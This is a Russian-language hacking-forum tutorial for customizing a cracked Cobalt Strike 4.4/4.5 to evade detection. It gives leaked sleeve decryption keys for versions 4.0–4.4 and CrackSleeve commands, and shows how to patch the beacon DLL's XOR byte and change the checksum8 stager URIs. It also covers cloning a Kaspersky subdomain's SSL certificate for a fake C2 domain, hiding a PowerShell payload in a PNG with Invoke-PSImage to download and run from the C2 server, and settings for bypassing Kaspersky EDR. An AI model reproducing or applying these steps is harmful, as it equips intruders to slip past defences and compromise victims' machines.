1) src: здесь у нас будут наши модифицированные java файлы..
2) lib: здесь у нас будут декомпилированные файлы cobaltstrike.
3) output: здесь мы получим скомпилированный файл jar.

Затем нам нужно извлечь папку (decompiled_cobaltstrike.jar), которая находится внутри папки (decompiler_cobaltstrike), как показано ниже:

1654882406370.png


Это должно выглядеть так:

1654882443286.png


Теперь наша структура должна выглядеть так:

1654882460183.png


После того, как вы закончите обработку своих файлов, откройте IDEA, это должно выглядеть так:

1654882473375.png


У вас может появиться предупреждающее сообщение, чтобы доверять проекту, и, поскольку мы используем оригинальный файл cobaltstrike.jar, вы можете доверять ему, в противном случае просто смотрите ┐(゚~゚ )┌

1654882485634.png


Окончательная структура внутри проекта IDEA должна выглядеть так, где исходный файл cobaltstrike.jar будет находиться внутри папки lib. Нам нужно, чтобы он был там для успеха компиляции. и файлы decompiler_cobaltstrike потребуются для изменения файлов... и папку SRC мы положим какие файлы нам нужно модифицировать в cobaltstrike.jar

Теперь нам нужно проверить правильность установки компилятора SDK и JAVA, прежде чем мы начнем модифицировать.

Перейдите к ( File --> Project Structure --> проверьте, установлена ли версия SDK 18 ), как показано на рисунке ниже:

1654882508256.png


Убедитесь, что все настроено, как на картинке ниже:

1654882522719.png


Теперь перейдите в модуль, чтобы выбрать файл cobaltstrike.jar, следуйте инструкциям на картинке, чтобы выбрать его правильно:

1654882537348.png


Затем:

1654882553883.png


Затем нажмите "Применить", а затем "ОК".

Нажмите сейчас на "значок проверки", как показано на рисунке ниже, затем "ПРИМЕНИТЬ", и затем нажмите "Артефакт".

1654882610645.png


Затем для Артефакта выберите:

1654882623557.png


Затем выберите "Агрессор", а затем "ОК".

1654882636083.png


Внешний вид должен быть таким (убедитесь, что местоположение модуля установлено на адрес вашего проекта) и нажмите "ОК".

1654882649454.png


Теперь последняя проверка, чтобы убедиться, что папка SDK вашего JAVA 18 настроена правильно внутри домашнего пути JDK.

1654882664387.png


Я извлек файлы JAVA 18 в свою папку D:/JAVA. Вы можете положить его в C:\Java18 или в любом другом месте, где вы установили файлы JAVA внутри.

Теперь наша структура IDEA для компиляции и модификаций готовы к запуску. Так что теперь все легко понять, и вы можете поместить свое изображение, чтобы не следовать за мной, вы можете изменить свои данные в соответствии с вашими потребностями... если вы хотите сделать свой собственный модифицированный cobaltstrike 4.4 или 4.5 cobaltstrike!
===================================================================================================
... Плиз биз патиент
 

Вложения

  • 1654882433249.png
    1654882433249.png
    9.4 КБ · Просмотры: 61
Последнее редактирование:
~/ Modify checksum8

Файлы, содержащие контрольную сумму checksum8 веб-сервера cobaltstrike, составляют (2) файла.

1) Файл "WebServer.java" в папке "decompiler_cobaltstrike\cloudstrike".
2) Файл "CommonUtils.java" в папке "decompiler_cobaltstrike\common".

Нам нужно скопировать эти 2 файла в нашу папку "SRC" с тем же именем папки, где это "ДОЛЖНО БЫТЬ". Проверьте скриншот ниже.

1654889155639.png


Теперь щелкните файл Webserver.JAVA и нажмите "ctrl+f", чтобы найти слово "checksum8".

1654889172602.png


Выбранное выше является важной частью контрольной checksum8. Здесь нам нужно сделать 3 шага:

1) Удалите или сохраните значение (% 256L), поскольку мы собираемся изменить хеш-сумму наших стейджеров. Это больше не повлияет на нас.

2) Измените адрес хэш-суммы x32 и x64 на другое расширение, например... вы можете создать хеш-сумму uri маячка на основе изображений .JPG, или на основе .PNG, или на основе .JS, или .PDF, любого расширения с помощью этого скрипта. Я буду использовать расширение .PDF для этой демки.

3) После изменения хеш-суммы нам нужно изменить результат в WebServer.JAVA

Java:
public class EchoTest {
    publicstatic long checksum8(String text) {
        if (text.length() < 4) {
            return0L;
        }
        text = text.replace("/", "");
        long sum = 0L;
        for (int x = 0; x < text.length(); x++) {
            sum += text.charAt(x);
        }
        return sum;
    }
    publicstatic void main(String[] args) throws Exception {
        System.out.println(checksum8("xssr1zxssr1zxssr1z.pdf"));
    }
}

Здесь я упомянул адрес: xssr1zxssr1zxssr1z.PDF для нашего x32, который дает нам 2665, где по умолчанию для cobaltstrike было 92!

Вы можете изменить свой адрес, который хотите. Теперь все зависит от вашего воображения.

1654889238182.png


Адрес второго стейджа x64: r1zr0cksr1zr0cksr1zr0cks.PDF, что дает нам 2664, а в cobaltstrike по умолчанию было 93!

1654889251098.png


Чтобы проверить расчет кода, посетите сайт https://www.programiz.com/java-programming/online-compiler/

Важной частью здесь является то, что нам нужно изменить значение этих вычислений, поэтому на x64 и x86 могут иметь одинаковое значение или разные, это не имеет значения.

Примечание: если ваш маячок не подключился к сети после модификации, вам необходимо снова изменить расчет и протестировать его.. он не должен превышать 20 КБ для нормального выхода в сеть.

Теперь наша модификация будет только для значений (92 или 2665) и (93 или 2664) стейджеров, больше ничего не меняйте.

1654889279676.png


Вы также можете удалить ( % 245L ), это не повлияет на стейджеры.. просто будет небольшая ошибка при компиляции.

Следующее изменение будет в "CommonUtils.JAVA". Дважды щелкните файл и найдите (checksum8) в функциях MSFURI + MSFURI_X64, как показано ниже:

В функции MSFURI x32 нам нужно добавить наш новый URI для стейджера x32

1654889302154.png


В функции MSFURI_X64 нам нужно добавить наш новый URI для стейджера x64.

1654889317670.png


После замены он должен выглядеть так.

1654889331878.png


Теперь, как мы видим выше, мы меняем только 2 файла, функции cloudstrike веб-сервера и файл Commonutils в общем файле...

Нам нужно создать проект artifacts сейчас. Мы можем получить некоторую ошибку kz из-за изменения выше, но это нормально. Мы исправим это быстро, удалив функции ошибок.

Как видите, наша компиляция была успешно выполнена с помощью нашей библиотеки Lib/cobaltstrike.JAR ヽ(#`Д´)ノ

1654889351077.png


~/ Обфускация маячков

Мы перейдем ко второй и самой важной части в запутывании нашей DLL-маячка!

Мы поместим наш "BeaconPayload.java" в наш "SRC" и убедимся, что структура правильная, как показано ниже:

Создайте папку внутри "SRC" и назовите ее "beacon" и вставьте в нее "BeaconPayload.JAVA", это должно выглядеть так.

src/beacon/BeaconPayload.java

Теперь откройте BeaconPayload.java в IDEA и посмотрите на картинку ниже, где шестнадцатеричное "2E" ( 0x2E ) в десятичной кодировке.

1654889387337.png


Теперь нам нужно изменить этот десятичный код на что-нибудь другое. Для этой демки я изменил его на "77" ( 0x4D ) в шестнадцатеричном формате.

1654889406205.png


Используйте этот сайт (http://rapidtables.com/convert/number/decimal-to-hex.html), чтобы преобразовать десятичное число в шестнадцатеричное.

Пока то, что мы сделали сейчас, это обфускация исходного кода загрузки DLL в CS. Теперь нам нужно модифицировать DLL с помощью CrackSleeve (https://github.com/Traxsw/CrackSleeve) + IDA (https://github.com/Traxsw/CrackSleeve).

~/ CrackSleeve

Я хочу упомянуть здесь, что для того, чтобы иметь возможность модифицировать DLL, вам нужен ключ, так как модифицированный cobaltstrike 4.5, который я зарелизю с помощью моего инструмента HCS, то мы будем работать с предыдущей DLL cobaltstrike 4.4, следуя этому методу, вы можете изменить cobaltstrike 4.x до 4,5.

Теперь нам нужно изменить DDL нашего маячка через CrackSleeve.

Поместите CrackSleeve.java и cobaltstrike.jar в одну папку и отредактируйте файл CrackSleeve.java с помощью IDEA.

Откройте CrackSleeve.java в IDEA и измените ключ, как показано ниже:

1654889439635.png


OriginKey CS 4.4:

{94, -104, 25, 74, 1, -58, -76, -113, -91, -126, -90, -87, -4, -69, -110, -42}


Я хочу отметить здесь, что если вы хотите изменить маячки cobaltstrike 4.0 или 4.1, 4.3, 4.4, 4.5, то вы можете скачать оригинальные файлы cobaltstrike 4.1 из-за 4.5, а также я поставил ключи (кроме 4.5 до релиза инструмент), поэтому вы можете использовать любую версию и модифицировать ее, заменив в CrackSleeve.java ヽ(#`Д´)ノ

Скачать исходные файлы CS 4/x:


1654889502502.png


OriginKey

//private static byte[] OriginKey40 = {27, -27, -66, 82, -58, 37, 92, 51, 85, -114, -118, 28, -74, 103, -53, 6 };
//private static byte[] OriginKey41 = {-128, -29, 42, 116, 32, 96, -72, -124, 65, -101, -96, -63, 113, -55, -86, 118 };
//private static byte[] OriginKey42 = {-78, 13, 72, 122, -35, -44, 113, 52, 24, -14, -43, -93, -82, 2, -89, -96};
//private static byte[] OriginKey43 = {58, 68, 37, 73, 15, 56, -102, -18, -61, 18, -67, -41, 88, -83, 43, -103};
//private static byte[] OriginKey44 = {94, -104, 25, 74, 1, -58, -76, -113, -91, -126, -90, -87, -4, -69, -110, -42}

Ключи дешифрования

4.0 1be5be52c6255c33558e8a1cb667cb06
4.1 80e32a742060b884419ba0c171c9aa76
4.2 b20d487addd4713418f2d5a3ae02a7a0
4.3 3a4425490f389aeec312bdd758ad2b99
4.4 5e98194a01c6b48fa582a6a9fcbb92d6

Теперь после изменения ключа в CrackSleeve.java выполните команду:

javac -encoding UTF-8 -classpath cobaltstrike.jar CrackSleeve.java

Затем

java -classpath cobaltstrike.jar;./ CrackSleeve decode

Затем, если ваш ключ CS правильный, вы найдете DLL для расшифровки внутри папки.

Resources/Decode/sleeve

~/ Обфускация IDEA dll


Откройте IDA и начните с любой DLL, которую вы хотите изменить (я выбираю beacon.dll).

1654889607602.png


Ищите через ( ALT+T ) для ( 2E -> найти все вхождения ).

1654889683323.png


Найдите "XOR" и нажмите на него, затем перейдите в "Edit -> Patch program --> Change byte .

1654889697413.png


Меняйте 2E на любое другое значение которое хочешь. Я выбираю 9F.

2E XOR

1654889710989.png


9F XOR

1654889723839.png


После редактирования подтвердите.

1654889739597.png


Затем примените патч.

1654889752390.png


НЕ СОХРАНЯЙТЕСЬ! Пропустите это.

Теперь нам нужно зашифровать нашу модифицированную DLL через CrackSleeve, выполнить эту команду и скопировать sleeve внутрь проекта IDEA.

java -classpath cobaltstrike.jar;./ CrackSleeve encode 5e98194a01c6b48fa582a6a9fcbb92d6


1654889780086.png


После того, как подтвердите ту же процедуру для остальной части DLL в папке sleeve , откройте свою IDEA и следуйте картинке (скопируйте sleeve у внутри проекта IDEA).

1654889804761.png
 
~/ Клонируем *.Kaspersky.com SSL & защищаемся против BlueTeam

В этой части мы разделим перехват SSL на 2 части:

- Клонирование SSL для вашей цели. (https://raw.githubusercontent.com/SySS-Research/clone-cert/master/clone-cert.sh)
- Интегриррование украденного SSL со скриптом C2. (https://github.com/wikiZ/RedGuard#interception-method)

Клон SSL

Некоторые компании добавляют безопасность в TLS, чтобы не загружать его, например: kaspersky.com

Если мы попытаемся загрузить его, мы получим эту ошибку:

1654893487937.png


Чтобы обойти это, всемирная компания, такая как kaspersky, передали поддомены некоторым партнерам, которые не следуют политике безопасности, проводимой головным офисом, поэтому простое сканирование поддоменов и мы захватываем один из доверенных поддоменов касперского, а именно: me-en.kaspersky.com попробуйте клонировать SSL и увидите:

1654893499873.png


Звучит отлично, наш SSL-сертификат Kaspersky.com готов к использованию.

Но теперь вам нужно проверить реальную информацию SSL и записать ее для нашего использования в файле конфигурации C2.

1654893511557.png


Нажмите детали, чтобы получить больше информации.

1654893530010.png


Во-вторых, я рекомендую, как только вы узнаете своего AV, клонировать тот же SSL компании и зарегистрировать "FAKE" домен, который вы будете использовать, когда мы создадим наш маяxчок, поэтому поймать наш маяxчок и узнать, что наш домен kaspersky.com является "фейковым", то синей команде будет сложнее анализировать это.

Также хороший способ добавить поддомен для касперского, например, dl.kasperskyetcdomain.com или kav.kasperskyetcdomain.com, етк.

- Настройка C2 / RedGuard.

Настройка для C2 довольно проста.. но самое главное здесь для нашего продвинутого OPSEC это использовать домен kaspersky.com или любой другой нужный вам домен. Перед запуском вашего тимсервера настройте redguard командой:

git clone https://github.com/wikiZ/RedGuard.git
cd RedGuard
go build -ldflags "-s -w"
chmod +x ./RedGuard&&./RedGuard


После завершения настройки вы увидите что-то вроде этого.


1654893569138.png


Это настройка по умолчанию. Вам нужно изменить ее сейчас и перезагрузить C2.

/root/.RedGuard_CobaltStrike.ini

1654893653013.png


Теперь давайте создадим и настроим наш слушатель ( https + http ) с C2 и убедитесь, что у вас есть собственный "FAKE" домен, в соответствии с вашим клиентом AV, EDR.

Прослушиватель http (порт 80 ---> 8080).

Прослушиватель https (порт 443 --> 4433).


1654893672968.png


После этого вы можете проверить статус C2.

1654893686211.png


~/ Обход Kaspersky AV / EDR 04.06.2022

Что ж, для большинства AV/EDR компаний важно отключить powershell! Это сила любой оболочки в windows...и сегодня я поделюсь общедоступным скриптом "Bypass powershell" (https://github.com/peewpw/Invoke-PSImage), который будет работать с вами.

Все мы слышали о Invoke-Image, который скрывает вредоносный код (powershell.ps1) внутри изображения (xss.jpg), но теперь мы будем работать над дублированием шифрования изображения.

Я не буду больше объяснять, что наиболее важно импортировать скрипт Invoke-PSImage (https://anonfiles.com/Hea0eanay5/Invoke-PSImage_7z) в вашу kf,e Windows.

1) откройте powershell и импортируйте Invoke-PSImage.ps1 в ваш powershell (убедитесь, что AV и Защитник Windows отключены при импорте шелл-кода):

Import-Module .\Invoke-PSImage.ps1

2) сгенерировать свой вредоносный образ

Invoke-PSImage -Script .\payload.ps1 -Out .\r1z.png -Image .\xss.jpg -Web


1654893737856.png


3) Теперь, и важная часть, это загрузить изображение на ваш командный сервер и обновить/вставить загруженную ссылку в зашифрованную оболочку, чтобы запустить ее на клиентском компьютере.

1654893773057.png


PNG выглядит как реальная картинка, вы можете загрузить ее в любое место на доверенном сайте или даже на клиентском сайте или на командном сервере.

1654893800985.png


Настройте прослушиватель cobaltstrike.

1654893827134.png


Обновите ссылку на изображение.

1654893838146.png


1654893847279.png


Скопируйте и вставьте закодированный в обновления скрипт powershell и запустите его в клиенте powershell.

1654893859088.png


Дополнительный уровень усложняет поиск нашего маячка. Наша связь с клиентом будет зашифрована через SSL-связь под "поддельным" доменом Касперского, который мы выбираем;)

1654893876861.png


Есть много способов и много инструментов, как OPSEC, которые вы можете использовать, но здесь я поделюсь некоторыми лучшими инструментами, которые я лично рекомендовал ,s использовать, и мы будем проходить их шаг за шагом, пока не достигнем нашей цели в обходе последнего обновления на Kaspersky End Point Security & Network moniter с нашим CobaltStrike 4.5

Теперь ваши шаги по обфускации в вашем проекте DLL и IDEA. Маячокк не собирается сливать информацию и будет напоминать держаться подальше от всех исследований "NCCGroup" и прочей ерунды)) Следующие маячки будут более сильными в сокрытии OPSEC.

Проверьте модифицированный файл beacon.dll с помощью любого из сканеров маячков, например:

https://github.com/Apr4h/CobaltStrikeScan

1654893897960.png


Я хочу поделиться наиболее полной конфигурацией OpSec в вашем (Malleable C2), чтобы убедиться, что настроены следующие параметры, которые ограничивают использование памяти с RWX-флагом (подозрительной и легко обнаруживаемой) и очищают шелл-код после запуска маячка:

  • set startrwx "false";
  • set userwx "false";
  • set cleanup "true";
  • set stomppe "true";
  • set obfuscate "true";
  • set sleep_mask "true";
  • set smartinject "true";

Большинство EDR, AV работают с одной и той же контрольной суммой, проверкой хэша, проверкой API, етк. Настройка вашего профиля, что является наиболее важной частью, чтобы скрыть вашу активность в любой системе EDR, все они работают одинаково, и я буду рассказывать, как обойти это в будущем.

** Наш рецепт супа: ヽ (# `Д ●) ノ

- Nmap сканер. (блокировано) ✔
- BeaconEye сканер (блокировано) ✔
- Cobalt парсер. (блокировано) ✔
- Скрытый URI aka checksum8. (скрыто) ✔
- Скрытие тимсервера через тунель CloudFlared ✔
- Steal *.Kaspersky.com SSL. (обойдено) ✔
- Bypass Kaspersky End Point Security. (обойдено) ✔
- Установка TOR через Teamserver (Мои HCS тулзы ).
- Установка OpenVPN с редиректором redirector (Мои HCS тулзы).
- Установка DNSCrypt (DoH) через CloudFlare. (Мои HCS тулзы).
- Установка Domains рандомизатор (Мои HCS тулзы).
- Установка JARM рандомизатор aka JA3's обфускатор (Мои HCS тулзы).
- Установка автоматического скрипта для кастомного кобальта 4.4 + 4.5 (Мои HCS тулзы).

** дополнительный скрытый OPSEC в подписи JARM, обфускатор aja JA3, интеграция VPN с перенаправлениями, настраиваемый XSS cobaltstrike 4.5 Edition и другие советы и рекомендации по OPSEC будут добавляться каждый месяц в сценарий HCS All-In-One!

Пароль на файл: r1z@xss.pro

!!!ОСТАВАЙТЕСЬ НА СВЯЗИ И СЛЕДИТЕ ЗА ОБНОВЛЕНИЯМИ!!!
./r1z
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх